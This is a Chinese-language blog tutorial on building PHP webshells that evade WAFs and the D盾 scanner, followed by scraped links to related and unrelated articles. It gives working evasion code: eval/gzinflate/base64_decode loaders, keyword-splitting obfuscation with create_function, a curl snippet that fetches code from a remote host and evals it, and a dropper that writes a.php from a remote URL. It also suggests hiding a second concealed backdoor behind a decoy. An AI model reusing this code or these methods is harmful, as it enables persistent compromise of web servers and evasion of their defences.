webshell 常见 Bypass waf 技巧总结
在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷。
一篇好的文章,内容可以差,目录一定要 ~~ 吹牛 ~~ 真实。

一. webshell 免杀
0x0 php 内置函数加密
小例子: 在制作免杀大马之前,我们先来看看,一个带后门的免杀 php 大马是如何制作的。

在后门网站 webshell8 下载好大马。

去掉那些混淆代码 . '' 可以看到他大概是这样的。
<?php
eval(gzinflate(base64_decode('大马源码')));
?>
有些小伙伴看到这里可能有些晕晕的,关于这款大马的分析,我博客文章
http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more
分析过了了,就不再啰嗦了。关于这篇文章提一下使用 echo print_r 打印出来还是乱或者弹个小框框的时候,burp 抓包很方便。
源码加密
php 内置加密函数,其实就是那些编码压缩之类的函数,如下常见的函数
压缩函数: gzcompress gzdeflate gzencode base64_encode
解压函数: gzuncompress gzinflate gzdecode base64_decode
搭配加密函数,随意搭配,多层加密也 OK。
base64_encode(gzcompress($code))base64_encode(gzdeflate($code));
我简单写了个脚本,大家对应修改就OK
$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径
$encode = base64_encode(gzdeflate($code)); //加密函数自己修改就行
echo $encode; //输出加密后代码
我演示一遍
把大马去掉 <?php ?> 保存为 txt

加密后:

运行encode.php在浏览器上得到加密

复制到代码中

OK 没问题

接下来的问题就是关键字免杀的问题
eval(gzinflate(base64_decode()))
我直接用那款大马混淆过的关键字拿来用
$password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密后的代码')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/
0x1 php 自定义加密
一图胜千言

0x2 敏感函数免杀
主要是关键字的免杀,我一般直接偷网上带后门大马的。分享一个思路
这是love71表哥分享的
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval($a=$a);
?>
我的思路很简单,把下面这段 base64 加密后
eval(gzinflate(base64_decode('大马加密后')));

然后嵌套到上面的代码

用 D 盾查杀 1 级

那么如何让 D 盾完全免杀呢,我简单修改了下。
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval/**/(/**/(/**/$a=$a)/**/);

这让我想起,D 哥的一条微博,不禁菊花一紧。。

且用且珍惜。
二. 更小更方便
为了减小大马体积,我们常常使用 php 读取网络文件 curl, fsockopen ,file_get_contents 函数,这样的大马整体体积甚至只有几百字节,但是要注意,目标网站要是禁用了,远程读取的某个函数,别喷我这样的大马根本不法运行,还有读取效率问题。
0x3 服务器远程读取
此段代码(抄袭)借鉴自 szrzvdny 表哥
$ch = curl_init(); //初始化函数
$timeout = 5; //设置超时
curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //设置你文件地址
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch); //运行curl,请求网页。
curl_close($ch);
//最后关闭curl_close();
eval($file_contents); //执行代码
233.txt 的内容,你直接把制作好的加密大马,去掉 <?php ?> 上传到网站上就 OK 了。
至于免杀问题,上面文章已经告诉你了,如果有兴趣可以去看我写的一个失败的大马文章
http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more
扩展思路。
0x4 服务器远程下载
<?php
$a = 'http://www.xx.com/1.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
file_put_contents('a.php',$b);
运行后在同目录下生成 a.php 内容为 1.txt
三. 后门隐藏与去除
关于后门的隐藏我不会给详细代码,只是分享一些,常见思路罢了(表哥可以把菜刀从我脖子拿开了嘛。。)
0x5 隐藏
收信代码网站简单 base64 加密就 OK 了?
别人很容易看出的,使用自定义加密函数,来混淆,拆分,还有赋值变量,替换 &p 还有框架挂后门,xss 平台,总之一句话,各种骚加密混淆。

这个也很重要,还有一个很猥琐的思路,多后门,给个明面看的后门,暗地还有一个后门。

0x6 去除
首先,你得把大马代码解密出来,关于抓包不要本地测试,找台服务器,注释删除些代码来测试,常见后门关键字 geturl hmlogin等。。
总结
希望读完本篇文章对你有收获。由于我个人技术水平,无法将文章扩展开,有兴趣的表哥可以去搞搞。作者文笔不大好,有些缺漏之处,请谅解指出。
我们是站在前人的肩膀上成长起来的。
webshell 常见 Bypass waf 技巧总结的更多相关文章
- 一些 bypass WAF 技巧
也是之前讲课写的,现在搬运过来 --- WAF所处的位置 * 云WAF * 硬件WAF * 软件WAF * 代码级WAF WAF的绕过 1 架构层 1 对于云WAF,寻找真实ip ...
- WAF攻防研究之四个层次Bypass WAF
从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...
- Bypass WAF Cookbook
PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...
- 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
- Docker学习笔记之常见 Dockerfile 使用技巧
0x00 概述 在掌握 Dockerfile 的基本使用方法后,我们再来了解一些在开发中使用 Dockerfile 的技巧.这一小节的展现方式与之前的略有不同,其主要来自阅读收集和我自身在使用中的最佳 ...
- 【sql绕过】Bypass waf notepad of def
文章是通过阅读<[独家连载]我的WafBypass之道 (SQL注入篇)>写的阅读笔记. Waf的类型 1.云waf云waf通常是CDN包含的waf,DNS在解析的时候要解析到cdn上面制 ...
- Bypass WAF
一.绕过命令执行: 很多WAF会限制参数字符不能为可以执行的命令,诸如ls.nc等,如果直接使用这些字符会直接被WAF拦截,但是可以通过这种的方式绕过这一限制 1.? 符号:这个符号表示条件测试,比如 ...
- 77777 77777(2) WriteUp 绕waf技巧学习
两个题的代码都是一样的 只是waf不一样 贴出代码 <?php function update_point($p,$point){ global $link; $q = sprintf(&quo ...
随机推荐
- python、第一篇:初识数据库
一 数据库管理软件的由来 基于我们之前所学,数据要想永久保存,都是保存于文件中,毫无疑问,一个文件仅仅只能存在于某一台机器上. 如果我们暂且忽略直接基于文件来存取数据的效率问题,并且假设程序所有的组件 ...
- (持续更新中~~~)kafka--消息引擎与分布式流处理平台
kafka概述 kafka是一个分布式的基于发布/订阅模式的消息队列(message queue),一般更愿意称kafka是一款开源的消息引擎系统,只不过消息队列会耳熟一些.kafka主要应用于大数据 ...
- 2019-2020-1 20199319《Linux内核原理与分析》第五周作业
系统调用的三层机制(上) 基础知识 1.通过库函数的方式进行系统调用,库函数用来把系统调用给封装起来. 2.CPU有四种不同的执行级别:0.1.2.3,数字越小,特权越高.Linux操作系统中采用了0 ...
- 这打车App麻烦了!遭黑客勒索巨额比特币
6月17日下午,易到用车发布<客服电话故障公告>称,5月25日-26日,易到平台遭到网络黑客攻击,核心服务器被入侵,攻击导致易到核心数据被加密,服务器宕机,绝大部分服务功能受到波及,且攻击 ...
- 标准C语言(4)
分支语句可以在程序执行的时候从几组语句里选择一组,执行而忽略其他组,在编写程序的时候如果遇到多种可能性,每种可能性需要专门的语句处理,这种情况下就可以考虑采用分支结构解决问题 if关键字可以用来编写分 ...
- Open Project' has encountered a problem
用Eclipse作android开发时,打开IDE,经常有的工程目录点击后会出现下面的问题提示: 这种情况往往是工程文件夹中的.project文件丢失了,所以从别的工程复制过来,就可以用啦.
- JavaScript入门学习之一——初级语法
JavaScript是前端编辑的一种编程语言(不同于html,html是一种标记语言),所以和其他的编程语言一样,我们将会从下面几点学习 基础语法 数据类型 函数 面向对象 JavaScript的组成 ...
- 【HDU2204】Eddy's爱好
题目大意:求从 1 到 N 中共有多少个数可以表示成 \(M^K,K \gt 1\).\(N \le 1e18\) 题解: 发现 N 很大,若直接枚举 M 的话有 1e9 级别的数据量,肯定超时,因此 ...
- 提升Java开发效率必看!教你如何在MyEclipse中使用内联搜索
MyEclipse CI 2019.4.0安装包下载 Inline Search取代传统Eclipse查找和替换对话框,提供更搞笑.更具侵略性的搜索体验——一种不会中断开发工作流程的工具. DevSt ...
- python算数、逻辑运算,位运算
算术运算符 对变量和数组进行算术运算. 算术运算符:+,-,*,/,% +:将连个或者多个数值相加 -:将两个数值相减 *:将两个数值相乘 /:将两个数值相除 %:取相除的余数 赋值运算符 将右边的值 ...
